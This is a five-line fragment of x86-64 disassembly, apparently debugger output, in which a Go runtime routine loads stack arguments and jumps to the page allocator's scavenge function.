mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
movzx edi, byte [rsp + 0x20]
jmp dbg.runtime.(*pageAlloc).scavenge